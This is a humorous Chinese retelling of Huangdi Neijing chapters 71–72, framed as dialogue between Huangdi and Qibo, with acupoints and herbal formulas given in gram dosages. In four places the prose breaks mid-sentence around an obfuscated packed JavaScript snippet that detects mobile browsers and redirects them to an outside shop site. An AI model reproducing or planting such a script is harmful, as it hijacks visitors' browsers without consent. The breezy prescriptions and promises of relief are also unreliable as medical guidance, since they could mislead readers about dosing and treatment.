至于治疗嘛，中医方剂可是个大学问，比如对付“少阴”引起的身热，咱们可以用个简单的“竹叶石膏汤”。这个方子啊，你得准备竹叶15克（想象一下，这些竹叶就像是小船的帆，帮你身体里的热邪“扬帆远航”）、石膏30克（石膏就像个天然的空调，给身体降温）、半夏9克（半夏就像个清洁工，帮你清理体内的垃圾）、麦冬20克（麦冬就像个滋润的小雨滴，给干燥的身体补充水分）、人参 6克（人参嘛，自然是补充元气的啦，让你更有力气对抗病魔）、甘草6克（甘草就像个和事佬，调和各种药物，让它们团结一致对付敌人）。把这些材料放在一起，加水煮煮，一碗清香四溢的汤药就完成了，喝下去，保证你舒服多了！ 这章没有结束，请点击下一页继续阅读！ 六元正纪大论第七十一（二十三） 岐伯清了清嗓子，悠悠地说：“厥阴风木一到啊，朋友们可得小心了，这时候容易出现胁痛，就是肋骨那儿隐隐作痛，感觉像是被谁偷偷掐了一把。还有啊，说不定你会突然‘哎哟’一声，转身冲向厕所，开始呕吐加腹泻，那感觉，就像是肚子里在举办一场热闹的派对，只不过主角是你和你的‘好朋友’们！” “接下来，少阴君火登场了。嘿，这时候你可别被它的名字给骗了，它可不是什么温文尔雅的主儿。它一来，你就可能变得话痨附体，滔滔不绝，笑点低到地心，一句冷笑话都能让你笑得前仰后合，周围的人看得一脸懵圈，心想：‘这家伙今天是不是吃错药了？’” “紧接着，太阴湿土来了，它可是个重量级的嘉宾。它一到，你就感觉身体像被灌了铅，走两步就累得气喘吁吁，仿佛背了个小山丘。更别提那‘胕肿’了，就是身体某些部位莫名其妙地肿了起来，按一按，软乎乎的，像是里面藏了个没蒸熟的大馒头。” “然后，少阳相火急匆匆地赶来了。这家伙一来，那可是真不客气，直接给你来个‘暴注’，就是拉肚子拉到怀疑人生，感觉整个人都快被掏空了。还有啊，你可能会突然抽筋，肌肉一跳一跳的，就像是身体在跳街舞，只不过这舞蹈有点吓人。最严重的，它还可能带来‘暴死’的风险，虽然概率不高，但也足够让人心惊胆战了。” “阳明燥金来了，这时候你得准备好纸巾了。为啥？因为它一来，你就容易鼻子不通气，‘鼽’个不停，就是不停地打喷嚏、流鼻涕，感觉自己就像是个永远也擦不完的鼻涕虫。还有啊，别忘了多喝水，不然这鼻子干燥得能当沙漠用了。” “最后，太阳寒水压轴出场。它一来，那简直是‘流泄’的天下，腹泻、尿频，各种液体往外跑，感觉身体就像个漏水的水龙头。还有啊，‘禁止’这个词听起来挺文艺，但实际上是指身体某些功能可能会暂时罢工，比如便秘或者排尿困难，让你哭笑不得，心想：‘这太阳寒水，是不是太‘高冷’了点？’” 好了，岐伯的“病象天气预报”就到这里了。不过，咱们可不能只听听热闹，得从中吸取点智慧。比如说，当你感觉胁痛、呕吐腹泻时，不妨想想是不是最近工作压力大，情绪波动大，导致肝气郁结，厥阴风木趁机捣乱？这时候，你可以试着按按太冲穴（现代穴位名，位于足背侧，第一、二跖骨结合部之前凹陷处），这可是疏肝解郁的能手哦！ 还有，当你发现自己变得话痨、笑点低时，不妨反思一下，是不是最近心火太旺，少阴君火在作祟？这时候，你可以泡点莲子心茶喝喝，莲子心能清心火，让你的心情恢复平静。 至于太阴湿土带来的沉重感和肿胀，你可以试试艾灸足三里（现代穴位名，位于小腿外侧，犊鼻下3寸，犊鼻与解溪连线上），这个穴位能健脾利湿，让你的身体轻盈起来。 少阳相火带来的拉肚子和抽筋，你可以喝点白芍甘草汤，白芍能缓急止痛，甘草能调和药性，两者一结合，就像是给身体送上一杯温暖的安慰。当然啦，这方子可不是随便喝的，得根据个人体质和病情来调整剂量，一般白芍15克，甘草10克，水煎服即可。 阳明燥金带来的鼻子问题，你可以试试按摩迎香穴（现代穴位名，位于鼻翼外缘中点旁，当鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318237|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇沟中间），这个穴位能通鼻窍，让你的呼吸顺畅起来。 至于太阳寒水带来的腹泻和排尿问题，你可以喝点生姜红糖水，生姜能温中散寒，红糖能补充能量，两者结合，就像是给身体送上一份温暖的拥抱。 岐伯慢悠悠地说：“嘿，听好了啊，这十二种身体变化啊，就像咱们生活中的你来我往，你对我好，我就对你好；你变了，我也跟着变；你政策严了，我反应就明显；你下个命令，我立马执行。这气血啊，它要是高兴了就往上窜，像打了鸡血似的；要是低落了，就往下沉，跟失恋了似的。它要是磨蹭，咱们就跟着慢半拍；它要是急性子，咱们也得快点跟上。气血要是中正平和，咱们就稳稳当当；要是往外跑，咱们也得跟着嗨起来。这一切啊，都是身体里的‘常规操作’，陛下，懂了吧？” 接下来，岐伯老先生开始讲起了“五行八卦”（不是真的八卦哦，是中医的五行理论啦），他说：“比如说啊，风要是太猛了，咱们就得小心了，身体可能会跟着摇摆起来，就像风中的小树苗，说不定还会‘跳舞’呢！热过头了呢，哎呀，那可不得了，身体就像被烤熟了似的，肿得跟包子一样。干燥过头，皮肤就像沙漠里的仙人掌，干巴巴的。冷得厉害了，身体就开始‘浮’了，感觉像是飘在冷空气中，瑟瑟发抖。湿气太重，那可真是‘水漫金山’，拉肚子拉到怀疑人生，再严重点，还可能变成‘水桶腰’，水肿得跟个小池塘似的。这一切啊，都是根据身体里的那股子‘气’来的，咱们得顺着它的性子，才能知道身体到底在闹啥别扭。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 六元正纪大论第七十一（二十四） 话说有一天，咱们这位爱学习的黄帝，突发奇想，抬头望了望蓝天白云，又低头瞅了瞅脚下的土地，心里琢磨着：“这天上的气和地上的气，它们到底是怎么个盈满亏虚的呢？”于是，他就把这个问题抛给了他的医学顾问——岐伯。 岐伯一听，嘿，这问题有意思，便捋了捋胡子，慢悠悠地说：“陛下啊，这天上的气要是不足了，地上的气就得跟着受影响；反过来，地上的气要是亏了，天上的气也得跟着调整。它们之间啊，就像是在跳双人舞，而那‘运气’（中医里的五运六气学说）就像是舞台上的导演，总是先一步安排好一切。这不，哪个气弱了，它就会避开强的，去找和自己合得来的伙伴，跟着运气的节奏走，结果一不小心，病就来了。” 黄帝一听，乐了：“这运气还能导演生病？那可真够忙的！” 岐伯继续讲：“可不是嘛！要是天上的气占了上风，那云层就得压低，雨水就多，地上就显得阴沉沉；要是地上的气逆袭了，嘿，那风啊、雾啊就往上窜，天气就变得诡异起来。这变化的大小，就像是考试分数的高低，差个几分，就是小打小闹，比如偶尔下个阵雨；要是差得多，那就是大风暴雨，甚至可能导致季节错乱，气候反常，那时候，疾病就跟着来了。” “哦？还有分数论？”黄帝更感兴趣了，“那《大要》这本书里还说了啥？” 岐伯笑道：“书上说啊，如果变化特别明显，那就记五分；稍微不那么明显，就记七分。这分数的差别，可是能看得出来的。就像你批阅奏折，哪份重要，哪份次要，心里不也有杆秤嘛！” 黄帝一听，哈哈大笑：“岐伯，你这比喻打得真好，朕算是明白了！” 接下来，咱们为了让这个故事更有趣，不妨加点料，假设岐伯突然话锋一转，说：“陛下，你知道吗？这天地之气的变化，还跟咱们人体的穴位有关呢！” “穴位？这也能扯上关系？”黄帝惊讶地问。 岐伯老师神秘一笑：“那当然！比如说，咱们有个穴位叫‘足三里’，就像是天地间的一个小小气象站。当天上的气不足，地气上升时，如果你按摩这个穴位，就能感受到一股暖流从脚底升起，仿佛在给身体加油打气；而当地气不足，天气下降时，按摩它又能帮你把头顶的寒气往下引，调和阴阳。” “这么神奇？”黄帝瞪大了眼睛。 岐伯点头：“不止如此，要是天地之气大乱，咱们还可以开个‘运气调理方’呢！比如，用黄芪30克（补气之王），当归15克（补血圣药），白术12克（健脾祛湿），茯苓12克（利水渗湿），再加点防风9克（祛风解表），这五味药就像是五位大将，各司其职，帮你调理身体，应对天地之气的变化。” “哈哈，这方子听起来就像是给身体准备的‘天气预报应对包’啊！”帝王笑得前仰后合，“岐伯，你这医术真是既科学又有趣！” 岐伯也跟着笑了起来：“陛下说得是，医学嘛，本就该寓教于乐，让人在轻松中学习，在学习中受益。” 说到脉象，岐伯老师又补充道：“脉象就像是身体的语言，告诉你现在天地之气对你有什么影响。比如说，如果脉象浮而散，就像秋天的落叶，那可能是天上的气太燥，你需要多喝水，吃点滋润 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318238|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的食物；如果脉象沉而迟，像冬天的河水，那可能是地气太寒，得赶紧添衣保暖，再泡杯热姜茶暖暖身子。” 黄帝有一天心情不错，对岐伯说：“嘿，岐伯，我听说了一个养生秘诀，说热的时候别凑热闹，冷的时候也别去挨冻。但我这人吧，就喜欢不走寻常路，既不想离热太远，也不想离寒太近，你说，我该怎么做才能既耍酷又养生呢？” 岐伯一听，哈哈大笑，说：“黄帝啊黄帝，你这问题问得真有水平！在中医的世界里，咱们讲究的是‘发表不远热，攻里不远寒’。这句话听起来挺深奥，其实啊，就是说你如果得了表症，比如感冒啦，想发汗，那用点热性的药，比如生姜、桂枝啥的，就像给身体点个火，把寒气逼出去；但要是里症，比如肠胃不舒服，得清清里面的热毒，那就得用点寒性的药，比如大黄、黄连这些，给身体降降温。怎么样，我这解释够接地气吧？” 黄帝一听，眼睛一亮，说：“哦，原来如此！那要是我不发汗也不攻里，偏偏要去碰那些寒热相冲的东西，会怎么样呢？” 岐伯叹了口气，摇了摇头，说：“那可就是‘寒热内贼，其病益甚’啦！你想想，身体本来就需要平衡，你非要给它来个冰火两重天，那不得乱套嘛！寒气热气在体内打架，最后倒霉的还是你自己，病情肯定越来越严重。” 黄帝一听，吓得一激灵，说：“哎呀妈呀，这也太吓人了！那以后我可得注意点。不过话说回来，岐伯，你能不能给我举个例子，说说这寒热怎么用药，让我长长见识？” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 六元正纪大论第七十一（二十五） 黄帝今儿个心情不错，闲来无事，便问岐伯：“老岐啊，你说这郁闷啊，要是严重了，咱们该怎么整呢？”岐伯一听，嘿，这可是个有趣的话题，于是便开始了他那诙谐又智慧的解答。 岐伯说：“陛下啊，您这可是问对人了。要说这郁闷啊，跟五行还扯上了关系。您看，肝要是郁闷了，那就是木郁，得让它舒展开来，咱就叫它‘达之’。这就好比是给肝来了一场说走就走的旅行，让它心旷神怡，那郁闷自然就烟消云散了。在现代医学里，我们可以按摩肝经上的太冲穴，每次按个三五分钟，力度嘛，就像是跟老朋友打招呼，别太轻也别太重，那效果，杠杠的！” 黄帝一听，眼睛一亮：“哟呵，这法子新鲜！那火郁呢？” 岐伯笑道：“火郁啊，那就得让它发出来，咱们称之为‘发之’。这就跟夏天吃顿火锅，出一身汗，那叫一个痛快！人体里的火郁，咱们可以刺激心包经上的中冲穴，用指甲掐它几下，就像是在给心里的那团火加个油，让它烧得更旺，然后顺着汗毛孔往外冒，郁闷就跟着跑了。” 黄帝哈哈大笑：“妙哉！那土郁呢？” 岐伯故作神秘：“土郁啊，咱们得‘夺之’。您想啊，这脾胃要是堵了，那就得给它来个彻底的大扫除。这就跟家里大扫除一样，把那些陈年旧物，统统扔掉！咱们可以按揉胃经的足三里穴，那可是胃的‘大管家’，多揉揉，胃里的郁闷就被‘夺’走了，食欲自然就回来了。哦对了，要是再加上一碗热腾腾的小米粥，那可是锦上添花，效果杠杠的！” 黄帝乐不可支：“哈哈，老岐啊，你这方法可真逗！那金郁呢？” 岐伯故作深沉：“金郁啊，咱们得‘泄之’。这肺要是郁闷了，就得让它痛快地呼吸，把废气都排出去。这就跟咱们偶尔去山顶上大喊几声，那叫一个舒坦！咱们可以按揉肺经上的列缺穴，列缺啊，那可是肺经的‘通气孔’，多按按，肺里的郁闷就被‘泄’出去了，呼吸也就顺畅多了。” 黄帝点头称赞：“嗯，有道理！那水郁呢？” 岐伯一拍大腿：“水郁啊，咱们得‘折之’。这肾要是郁闷了，那就得让它别乱动，得给它个规矩。这就跟小孩子调皮捣蛋，咱们得适当管教一样。咱们可以按揉肾经上的太溪穴，太溪啊，那可是肾的‘小助手’，多揉揉，肾里的郁闷就被‘折’服了，肾气也就足了。” 黄帝笑得前仰后合：“老岐啊，你这比喻可真逗！不过，你说的‘调其气，过者折之，以其畏也，所谓泻之’又是什么意思呢？” 岐伯一本正经地说：“陛下啊，这意思是说，咱们在治疗郁闷的时候，得根据病情来调整气机的平衡。要是某个脏腑的功能过旺了，咱们就得给它‘折’一下，用它害怕的东西来克制它，这也就是咱们常说的‘泻法’。比如肝火太旺了，咱们就可以用些清肝火的草药，像是龙胆草、夏枯草之类的，熬成汤药，给它降降火。” 黄帝恍然大悟：“原来如此！那这些草药，要怎么制配呢？” 岐伯捋了捋胡子：“这事儿啊，说简单也简单，说复杂也复杂。咱们就以龙胆泻肝汤为例吧。这方子啊，得用龙胆草6克，栀子9克，黄芩9克，柴胡12克，生地黄9克，泽泻12克，木通9克，当归3克，车前子9克， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318239|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甘草6克。把这些草药放到砂锅里，加上适量的水，先泡上半个小时，然后大火烧开，转小火慢慢熬上个把小时，滤掉药渣，趁热喝上一碗，那叫一个酸爽！不过啊，这方子得在医生指导下用，可别自己瞎琢磨哦！” 黄帝心血来潮，对岐伯说：“嘿，岐伯，咱们聊聊那个‘假’字在医学里是怎么玩的呗？”岐伯一听，眼睛一亮，心想：“这家伙又想挖坑给我跳啊，不过谁怕谁，来吧！” 岐伯清了清嗓子，慢悠悠地说：“黄帝啊，你问得好啊！这‘假’啊，在中医里可不是假货的意思，而是指一种特殊的生理或病理现象，咱们叫它‘假气’。要是碰上这种情况，那可就没啥禁忌了，治起来那叫一个随心所欲。”黄帝一听，眉头一皱：“哦？此话怎讲？” 岐伯微微一笑，解释道：“所谓‘假气’，简单来说，就是身体里的‘主气’不够给力，被外来的‘客气’给占了上风。这‘主气’啊，就像是咱们身体里的正规军，负责保卫家园，维持秩序。而‘客气’呢，就像是外来的游击队，时不时来捣乱一下。要是正规军不够强大，那游击队不就嚣张起来了吗？” 黄帝一听，恍然大悟：“原来如此！那这‘假气’具体是怎么个表现法呢？”岐伯想了想，说：“这个嘛，表现可多了去了。比如说，有的人明明看起来很强壮，结果一吹风就感冒，这就是典型的‘主气’不足，‘客气’趁机入侵的例子。还有的人啊，一到换季就咳嗽，这也是因为身体的防御系统（主气）没能抵挡住外界的邪气（客气）。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 刺法论篇第七十二（一） 黄帝眉头紧锁，对着自己的得力助手岐伯发问了：“岐伯啊，你说这人体里的气儿，怎么有时候升不上去，降不下来，跟坐过山车似的，然后身体就各种不爽，这是咋回事儿呢？” 岐伯一听，立马来了个标准的“臣遵旨”姿势，然后恭恭敬敬地说：“皇上您这问题问得，真是太有水平了！简直就是养生界的‘灵魂拷问’啊！”黄帝一听，心里那个美啊，心想：这马屁拍得，真是润物细无声啊！ 岐伯接着说道：“要想解决这气儿不顺的问题，咱们得先聊聊‘天元’，也就是天地间的那股子自然规律。不过呢，光懂这个还不够，咱们还得学会用针灸这一招，那简直就是‘气儿不顺’的克星啊！” 黄帝一听，眼睛立马亮了：“哦？快说说，这针灸怎么个神奇法？” 岐伯清了清嗓子，开始了他的“爆笑养生讲座”：“皇上啊，您看这人体里的气儿，就像咱们宫里的宫女太监，有时候也得有个规矩，不能乱窜。要是乱了套，那就得用针灸这根‘指挥棒’来给他们指指路。” “比如说啊，要是肝气郁结，咱们就可以扎扎‘太冲穴’（现代穴位名称，位于脚背上，大脚趾和二脚趾之间），这就相当于给肝气开了个‘透气窗’，让它透透气儿。要是肺气不降，咱们就扎扎‘列缺穴’（现代穴位名称，位于手腕上，两根肌腱之间），这就相当于给肺气按了个‘下降键’，让它乖乖听话。” 黄帝听得那叫一个津津有味，忍不住插嘴道：“那要是脾胃之气不顺呢？” 岐伯笑了笑：“皇上您别急，这脾胃之气不顺啊，咱们可以扎扎‘足三里’（现代穴位名称，位于小腿外侧，膝盖下方三寸处），这就相当于给脾胃加了个‘动力泵’，让它们好好工作。” 黄帝一听，乐开了花：“哈哈，这针灸还真是神奇啊！那要是想吃点啥药来辅助一下呢？” 岐伯摸了摸下巴上的胡子，说道：“皇上啊，您这问题问到点子上了。要想辅助针灸，咱们可以用点‘逍遥散’之类的方子。” “逍遥散？听起来挺高大上的啊！”黄帝好奇地问。 岐伯解释道：“这逍遥散啊，就是专门对付肝气郁结的。它的配方很简单，就是柴胡（9克）、当归（9克）、白芍（9克）、白术（9克）、茯苓（9克）、炙甘草（4.5克）这些药材组成的。把这些药材放在一起煮，煮成浓浓的一碗汤，喝下去，保证您肝气舒畅，心情大好！” 黄帝一听，眼睛都亮了：“哈哈，这方子听起来就像是在喝‘快乐水’啊！不过话说回来，这脉象上能看出点什么来吗？” 岐伯点了点头：“皇上英明！这脉象啊，就像是咱们宫里的密探，能传递出很多信息。比如说，肝气郁结的时候，脉象就会显得弦紧，就像是被拉紧的弓弦一样。这时候，咱们就得赶紧采取措施，不然啊，这气儿就会在身体里‘闹革命’了！” 黄帝闲来无事，就拉着岐伯说：“岐伯啊，咱俩聊聊医术吧，我想听听你那些高大上的医学理论。”岐伯一听，眼睛一亮：“好嘞，黄帝大大，那我就给你讲讲五行升发那点事儿，保证让你听得津津有味，还想再听一遍！” 岐伯清了清嗓子，开始了他的“升天”讲座：“你知道吗？五行啊，就像五个调皮的小鬼，每个都想往上窜一窜，可有时候呢，天上那几位大神（天柱、天蓬、天冲、天英、天芮）就不乐意了，非得把它们给按住。这五行要是升不上去，那可就惨了，身体得闹出大乱子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14318240|152391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来！” 黄帝一听，来了兴趣：“哦？那具体是咋回事呢？” 岐伯接着说：“比如说这木行（肝）吧，它本来是想往上长的，结果被天柱大神给挡住了。木行要是想发脾气（发郁），也得看看时机对不对。这时候，咱们就得出手帮它一把，刺一下脚上的‘大敦’穴，这可是足厥阴肝经的井穴，相当于给木行开了个‘后门’，让它能顺利升发。” 黄帝点了点头：“原来如此，那火行（心）呢？” 岐伯笑道：“火行这家伙更调皮，它想升天（升发）的时候，天蓬大神又来捣乱。不过，火行要是真想爆发，也得等个好时机。咱们这时候可以给它加把火，刺一下心包经的‘劳宫’穴，无论是君火还是相火，都适用哦！这‘劳宫’啊，就像是火行的‘加油站’，让它更有动力往上冲。” 黄帝听了哈哈大笑：“有意思，那土行（脾）呢？” 岐伯继续道：“土行这家伙，比较稳重，但有时候也想升一升。可天冲大神就是不给面子，非得把它压在下面。土行要是想发点小脾气，也得等机会。这时候，咱们就给它按摩一下脚上的‘太白’穴，这可是足太阴脾经的俞穴，就像是给土行松了松土，让它能更轻松地升发。” 黄帝越听越有趣：“那金行（肺）呢？” 岐伯眨了眨眼：“金行这家伙，比较傲娇，它想升天的时候，天英大神就来捣乱。不过，金行要是真发起脾气来，那也是很吓人的。咱们这时候可以给它降降温，刺一下手上的‘太渊’穴，这是手太阴肺经的经穴，就像是给金行装了个‘散热器’，让它别那么冲动。” 小主，这个章节后面还有 哦，请点击下一页继续阅读，后面更精彩！ 刺法论篇第七十二（二） 岐伯又说道：“火欲降而地玄窒抑之，降而不入，抑之郁发，散而可矣，当折其所胜，可散其郁。”哎呀妈呀，这说的啥玩意儿？别急，咱们慢慢来，保证让你听得津津有味，还能学会几招！ 首先，咱们得把这段古文翻译成大白话。岐伯大神的意思是说：“你看那火啊，它本来是想乖乖降下来的，结果呢，被大地的一股神秘力量（咱们就叫它‘地玄’吧）给拦住了，火降不下来，就憋屈在那儿，越憋越厉害，最后‘噗嗤’一下，爆发了！这时候怎么办？得让它散出去啊！就像你肚子里的气，不打嗝不放屁，能舒服吗？所以啊，咱们得找到克制这股力量的方法，把火郁给散了。” 接下来，岐伯大神说了：“当刺足少阴之所出，刺足太阳之所入。”这可是重点哦！在古代，穴位名称那叫一个高大上，咱们得转换成现代的，好让大家都能听懂。足少阴嘛，就是肾经啦，它的“所出”就是第一个穴位——涌泉穴，想象一下，泉水咕嘟咕嘟往外冒，是不是挺有画面感的？至于足太阳，那就是膀胱经了，它的“所入”是最后一个穴位——至阴穴，听起来就像是“终于解放了”的意思，哈哈！ 好，现在咱们来场穿越，假设你是个古代大夫，手里拿着一根银针，准备给病人扎针。你走到病人跟前，一脸严肃地说：“来，兄弟，咱们先扎涌泉穴，让你的肾气像泉水一样涌出来，把体内的郁火给冲一冲！”说完，一针下去，病人“哎哟”一声，你笑眯眯地说：“别急，好戏在后头呢！”接着，你又来到病人的脚小趾外侧，找到至阴穴，又是一针：“这一针，是让你的膀胱经通畅无阻，把火气顺着尿液排出去，保证你一身轻松！” 说到这，你是不是觉得这岐伯的方子太简单了？别急，咱们还没完呢！岐伯大神的意思是，除了针灸，还得注意饮食起居，调整作息，这才叫全方位治疗嘛！ 比如说，你可以给病人开个小方子，名叫“降火解郁汤”。 - 菊花10克（为啥选菊花？因为它不畏秋霜，降火一把好手，还自带文艺范儿！） - 决明子15克（这决明子啊，就像个小小的裁判，专门盯着那些不安分的火气，让它们规矩点！） - 夏枯草12克（夏天的小草，虽然不起眼，但清热降火，那可是杠杠的！） - 莲子心6克（莲子心啊，苦是苦了点，但俗话说得好，‘良药苦口利于病’，它清心火，一绝！） - 淡竹叶9克（淡竹叶，听起来就清新脱俗，它能利尿，把火气从尿道里赶出去，不留痕迹！） 把这些药材往锅里一丢，加水煮沸，再小火炖个半小时，一碗香喷喷的“降火解郁汤”就出炉了！病人一喝，嘿，那叫一个神清气爽，郁火全消，整个人都精神了！ 说到脉象，岐伯可是个高手，他摸脉就像是在读一本活生生的健康说明书。不过咱们今天不讲那些复杂的，就来个简单又好玩的。比如说，如果你摸到病人的脉象跳得跟小兔子似的，嗖嗖的，那可能是心里有火了。这时候，你就得告诉病人：“嘿，兄弟，你这脉跳得比我还激动，得降降火啦！”然后，你就可以用上面的针灸和汤药，双管齐下，保证药到病除！ 岐伯说啊：“土欲降而地苍窒抑之，降而不下，抑之郁发，散而可入，当折其胜，可散其郁。”这话乍一听，是不是觉得跟念经似的？别急，咱们慢慢来解析。 想象一下，咱们的身体就像一个大自然，里面有各种各样的“气”在跑来跑去。其中有一种叫做“土气”，它呢，就喜欢往下走，就像咱们吃完饭，食物得往下走到胃里消化一样。但是呢，有时候这个“土气”会遇到点麻烦，就像它想下楼，结果楼道口被一堆杂物（咱们就叫它“地苍窒”吧）给堵住了，下不去。 这“土气”一看，哎，下不去啊，那我就在这儿憋着吧。这一憋可不得了，它就开始郁积，越积越多，最后“砰”地一下，就像气球被吹爆了，这股气就四处乱窜。这时候，咱们就得赶紧想办法，把这股乱窜的气给疏散开，不然的话，身体可就要出问题了。 岐伯就说了，要疏散这股气，咱们得“折其胜”。啥意思呢？就好比是两个国家 打仗，一个国家太强势了，咱们就得找个办法把它削弱一下，让它别那么嚣张。在这里，“折其胜”就是指咱们得找个方法来克制这股郁积的气，让它别那么猖獗。 那怎么“折其胜”呢？岐伯给出了个方法，那就是针灸。他说啊，得刺两个穴位，一个是“足厥阴之所出”，一个是“足少阳之所入”。咱们现代人呢，为了方便理解，就把这两个穴位翻译成大白话，一个叫“大敦穴”，在脚上大拇指的内侧；一个叫“阳辅穴”，在脚上小腿的外侧。 想象一下啊，这“土气”就像是个调皮捣蛋的孩子，在大敦穴这儿被咱们抓了个正着，然后咱们就轻轻地、准确地扎一针下去，就像给这孩子打了一针“镇定剂”，让它别那么闹腾。接着呢，咱们再到阳辅穴这儿，给它来个“顺水推舟”，把这股气给引导出去，让它别再在体内捣乱。 不过啊，这针灸可不是随便扎的，得找专业的医生来操作，不然的话，扎错了地方，那可就得闹笑话了。就好比咱们做菜，材料都准备好了，结果厨师是个新手，把盐当糖放了，那这道菜可就毁了。 说到这，我突然想起来，岐伯的话里可没提方剂啊，那我就自己脑补一个吧。假设咱们真的得靠吃药来疏散这股“土气”，那我觉得啊，得用点“疏肝理气”的药材，比如柴胡、白芍、枳壳之类的。这些药材就像是一群和事佬，它们跑到身体里，就跟那股郁积的气说：“哎呀，大家别吵了，都是一家人嘛，和和气气地多好。”然后呢，它们就帮这股气找个出路，让它顺利地排出去。 岐伯清了清嗓子，慢悠悠地说：“陛下听好了啊，这事儿得从五行说起。金嘛，大家都知道，代表的是沉降、收敛的力量。但是呢，如果大地爷爷（地气）心情不好，红彤彤的（彤，这里可以理解为火热、旺盛的状态）把火气撒在金上，金想降却降不下来，这就憋屈了，对吧？这一憋屈，金就开始郁闷了，郁闷到一定程度，它就要找个出口发泄，这一发泄，嘿，咱们的身体可就遭殃了！” “所以啊，咱们得赶紧给它找个台阶下，让它别那么憋屈。怎么办呢？得折其胜，散其郁！就像你跟领导吵架了，得找个机会缓和一下，不然天天憋着，多难受啊！咱们身体里的这股子郁闷劲儿，也得让它散出去。” 说到这，岐伯神秘一笑：“接下来，就是见证奇迹的时刻了！咱们得找两个穴位，一个是心包络的出口——天池穴，这可是个‘心情调节器’，按一按，心里的郁闷就能少一半。另一个是手少阳的入口——液门穴，这可是个‘清热解郁’的高手，专治各种不服！” “想象一下，天池穴就像是你的心灵花园，液门穴就是你的清热小站。当你觉得心里堵得慌，就像是花园里长满了杂草，这时候你就得拿起你的小铲子（手指），在天池穴上铲一铲，杂草没了，心情自然就舒畅了。然后，再去液门穴喝上一杯清热解暑的凉茶（气血流通），哎呀，那叫一个痛快！” “不过啊，光按穴位还不够，咱们还得来点实际的。如果这郁闷劲儿太厉害，咱们就得请出方剂来帮忙了。这方剂嘛，就像是你心情不好的时候，朋友给你送来的暖心大餐，吃完之后，整个人都暖洋洋的，郁闷也就烟消云散了。” “这个方剂，咱们就叫它‘解郁大餐’吧！主要成分有：柴胡15克，疏肝解郁的能手；郁金12克，专门对付心里那点小憋屈；枳壳10克，理气宽中，让你的肚子也跟着舒畅起来；还有甘草6克，调和药性，就像是大餐里的调味料，让整道菜更加和谐美味。” “怎么煎服呢？很简单，把这些药材放到砂锅里，加上适量的水，就像是在炖一锅美味的汤。大火烧开，转小火慢慢炖煮，直到水剩下原来的一半，这时候，解郁大餐就出锅了！每天早晚喝上一碗，保证你心情美美哒！” 说到脉象，岐伯又变得严肃起来：“脉象啊，就像是咱们身体的天气预报，能反映出身体的各种情况。如果你感觉心里憋屈，脉象上往往会有所体现，比如脉弦紧，就像是琴弦一样紧绷绷的，这时候，你就得注意了，该给自己的心灵放个假了！” “不过啊，大家也别太紧张，脉象这东西，虽然看起来复杂，但只要你多 观察、多感受，慢慢就能掌握其中的规律了。就像是你跟一个人相处久了，他的喜怒哀乐，你一眼就能看出来，脉象也是这样，咱们的身体，其实是很聪明的！” 想象一下，大自然界里，天空中的水分子们正憋足了劲儿，想要一猛子扎进大地妈妈的怀抱，来个亲密接触。结果呢？大地妈妈却穿了个“增高鞋垫”（地阜），硬是把这些热情的小水滴给挡在了外面。这些水滴们被拒之门外，心里那个憋屈啊，就像你情人节没收到礼物一样，最后它们终于忍无可忍，决定“爆炸式”发泄——这就是“降而不下，抑之郁发”。 这时候，岐伯出场了，他悠悠地说：“要想让这些憋屈的小情绪散去，咱们得给它们找个出口，把大地妈妈的‘增高鞋垫’给拆掉一部分，也就是‘折其土’，这样一来，那些郁闷的水汽就能四处溜达，心情舒畅了，病也就好了大半。” 在中医的世界里，这可不仅仅是个比喻哦！岐伯说的是，人体内的湿气、郁结之气也需要这样的“疏通”。那么，怎么操作呢？别急，咱们有秘密武器——针灸！ 